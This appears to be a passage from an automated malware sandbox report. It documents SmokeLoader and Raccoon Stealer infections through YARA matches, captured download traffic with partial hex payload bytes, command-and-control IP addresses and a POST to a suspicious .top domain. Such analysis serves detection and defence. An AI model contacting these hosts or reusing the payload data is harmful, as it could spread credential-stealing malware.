21 0b 5a f3 43 93 3a 1a 3e cf 00 8e ff 0e 43 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e 85 f6 ff 78 f3 56 db c4 0d 13 13 e3 0f e0 92 24 18 4f c5 03 71 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 7a f0 96 be 21 51 61 9a d4 3e 7c 8a 28 c8 c9 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 a2 7a 31 6c 1a 7c 0a 8d 1b f9 e6 0e 10 eb 7e 71 eb 90 f0 1a 10 de 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 22 a6 0f 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 73 33 cd 46 99 48 15 ac af eb d9 55 3d af ba 68 92 de fe 9d 57 7c 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b a8 d4 de 8e 82 11 e8 e4 1f 9e a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 af 5b 85 1f d4 8c 69 91 9c 61 06 f1 2c 9a af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 e4 56 89 8b e1 42 78 d7 9c 9e c3 e0 2b a5 b6 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c b1 65 f5 52 48 d4 3f 96 4d 8d e7 17 3f fe e7 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:31:14 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:32:24 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bkhtxo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: hajezey1.top

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.7:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.7:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49850 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 26.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.1.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.97A5.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cviueca.2c715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.3180e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.cviueca.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.192F.exe.3190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, type: MEMORY

Source: SkB6zJ6H3N.exe, 00000000.00000002.253287866.0000000002DFA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 8746.exe.7.dr, ue60aue64bue63aue60cue62cue60aue610ue60fue63aue63due63aue60bue61cue63cue623.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704
Source: EDD.exe.7.dr, ???????????????.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704

Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E32A9	29_2_6A9E32A9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DE2C5	29_2_6A9DE2C5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF	29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFA2B	29_2_6A9CFA2B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A	29_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94EBB0	29_2_6A94EBB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94ABD8	29_2_6A94ABD8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A968BE8	29_2_6A968BE8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3	29_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309	29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93AB40	29_2_6A93AB40
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A933360	29_2_6A933360
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B090	29_2_6A92B090
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800	29_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1002	29_2_6A9D1002
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830	29_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A948840	29_2_6A948840
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932990	29_2_6A932990
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120	29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E2EF7	29_2_6A9E2EF7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A936E30	29_2_6A936E30
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60	29_2_6A99AE60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D67E2	29_2_6A9D67E2
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B	29_2_6A91EC9B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932430	29_2_6A932430
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9435D0	29_2_6A9435D0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A910D20	29_2_6A910D20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932D50	29_2_6A932D50
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E1D55	29_2_6A9E1D55
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004368C0	33_2_004368C0
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_0041EDBE	33_2_0041EDBE

Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.27.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.27.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe

Section loaded: taskschd.dll

Jump to behavior

Source: SkB6zJ6H3N.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 28.0.EDD.exe.810000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 28.0.EDD.exe.810000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 28.0.EDD.exe.810000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.5D4.exe.3b0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.5D4.exe.3b0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 28.0.EDD.exe.810000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
